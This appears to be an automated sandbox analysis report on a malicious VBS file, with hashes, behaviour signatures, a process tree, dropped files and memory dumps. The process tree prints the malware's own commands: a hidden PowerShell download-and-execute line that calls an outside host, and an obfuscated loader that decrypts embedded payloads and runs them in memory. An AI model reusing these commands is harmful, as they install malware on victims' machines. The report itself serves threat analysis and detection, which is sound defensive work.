Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-12-2024 02:45

General

  • Target

    823fce06a9659813c5c77358e7759ff067902c4c49b10787a2d698bfe55a28a9.vbs

  • Size

    67KB

  • MD5

    12d9b975c280a2500a1f13ee88cd5dcc

  • SHA1

    d2ff34e43857aafc57217cfb7cdc5bb3b2825b66

  • SHA256

    823fce06a9659813c5c77358e7759ff067902c4c49b10787a2d698bfe55a28a9

  • SHA512

    ec0a70030c775ee18f5482e756e6b4abacdf0e14516335771a8995be7059eb037dc18c27d2844927fdde37b17cae9226f173ffda8334e764f478fe2181a31430

  • SSDEEP

    1536:dha8UpBzancwZOnc9/FQa6vYGl2Yo7ZkeXeFuGbVSPXCAG:7Ur2Ocmo7ZkieFuyIG

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\823fce06a9659813c5c77358e7759ff067902c4c49b10787a2d698bfe55a28a9.vbs"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2268
    • C:\Windows\System32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2012
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$Qstz='SpzjXAlzjXAitzjXA'.Replace('zjXA', ''),'TfJIHranfJIHsffJIHofJIHrfJIHmFfJIHinafJIHlfJIHBlofJIHcfJIHkfJIH'.Replace('fJIH', ''),'RVgYzeadVgYzLiVgYznesVgYz'.Replace('VgYz', ''),'InMwMavoMwMakMwMaeMwMa'.Replace('MwMa', ''),'DecsNGQomsNGQpresNGQssNGQssNGQ'.Replace('sNGQ', ''),'CoHJBApyTHJBAoHJBA'.Replace('HJBA', ''),'CrXqfmeatXqfmeDeXqfmcryXqfmptXqfmorXqfm'.Replace('Xqfm', ''),'GeFjYVtFjYVCFjYVurFjYVrenFjYVtFjYVPrFjYVocFjYVesFjYVsFjYV'.Replace('FjYV', ''),'LozlYIazlYIdzlYI'.Replace('zlYI', ''),'CLJmzhLJmzanLJmzgeELJmzxtLJmzenLJmzsLJmzionLJmz'.Replace('LJmz', ''),'EeFjtleeFjtmeeFjtneFjttAeFjtteFjt'.Replace('eFjt', ''),'MdbpiaindbpiModbpiddbpiuledbpi'.Replace('dbpi', ''),'FrRYFzoRYFzmBRYFzaRYFzsRYFze6RYFz4RYFzSRYFztrRYFzinRYFzgRYFz'.Replace('RYFz', ''),'EncrkwtcrkwrcrkwyPocrkwicrkwntcrkw'.Replace('crkw', '');powershell -w hidden;function RgsAI($BWcmp){$GWmwK=[System.Security.Cryptography.Aes]::Create();$GWmwK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GWmwK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GWmwK.Key=[System.Convert]::($Qstz[12])('bVSs74+10Z+7ASHf34iR8A7lXdmOJD3coRGmA4lMt4I=');$GWmwK.IV=[System.Convert]::($Qstz[12])('iE6BirpwfNsKBuhzhqFgjw==');$OWgUJ=$GWmwK.($Qstz[6])();$MLceL=$OWgUJ.($Qstz[1])($BWcmp,0,$BWcmp.Length);$OWgUJ.Dispose();$GWmwK.Dispose();$MLceL;}function frMFN($BWcmp){$ssjuW=New-Object System.IO.MemoryStream(,$BWcmp);$upHUk=New-Object System.IO.MemoryStream;$WGXAI=New-Object System.IO.Compression.GZipStream($ssjuW,[IO.Compression.CompressionMode]::($Qstz[4]));$WGXAI.($Qstz[5])($upHUk);$WGXAI.Dispose();$ssjuW.Dispose();$upHUk.Dispose();$upHUk.ToArray();}$DXhXo=[System.IO.File]::($Qstz[2])([Console]::Title);$YYyyJ=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 5).Substring(2))));$eqMxD=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 6).Substring(2))));[System.Reflection.Assembly]::($Qstz[8])([byte[]]$eqMxD).($Qstz[13]).($Qstz[3])($null,$null);[System.Reflection.Assembly]::($Qstz[8])([byte[]]$YYyyJ).($Qstz[13]).($Qstz[3])($null,$null); "
          4⤵
            PID:2592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2612

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\system.bat

      Filesize

      66KB

      MD5

      63de01f12144baf2b505f8eea95ae3a9

      SHA1

      b1428ef307e63503219af46059b89fb60487f7c4

      SHA256

      32d96866203a868b1d4f28560239e66421b412cfa184a876485c39da56f3d979

      SHA512

      de86970f4eff4a449eaf2d992da255b020c6e384c97d02c3e05ea07bb2a67d543d1701c7beed9a23bb88d82097728ad6b4fb452ac48182b44a894a15bcf712d0

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      76372ed03aad297ff878937d271cf394

      SHA1

      fe7783a52ec1118a803b33239a2878117536a8ba

      SHA256

      40fa3123cc8195b42043867810e9476748033caefafb1b4a8698f1f66590e562

      SHA512

      0cfbfa0f091ef03d7419e3dd568fb69eebbd289b1956811c4ccc84ffbb37044988641a76fd0ab8fa2d0296871afe01c0718aeef859635b573ba67301226e4409

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5XWGVJVE5FF1DR4617OU.temp

      Filesize

      7KB

      MD5

      b3df258ccfe0effb88d91638fd59408b

      SHA1

      b58b62d4c58925d79c510aa7cabf43d22995a760

      SHA256

      e8d25ab7a5a7a97176cbe45ac3eee8c62b5b8c7593171a57ef698683686cf37b

      SHA512

      3400081c3157dbbbf8de3bfdae4a20a329029e31b5b451d03959cb76061ad967805eeb1e44db45c5facaf3d70d4873640e9447271e99595402c997211d3b7423

    • memory/2268-7-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2268-8-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2268-11-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2268-10-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2268-9-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2268-4-0x000007FEF58BE000-0x000007FEF58BF000-memory.dmp

      Filesize

      4KB

    • memory/2268-6-0x0000000002790000-0x0000000002798000-memory.dmp

      Filesize

      32KB

    • memory/2268-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2612-28-0x0000000000540000-0x0000000000548000-memory.dmp

      Filesize

      32KB

    • memory/2612-27-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

      Filesize

      2.9MB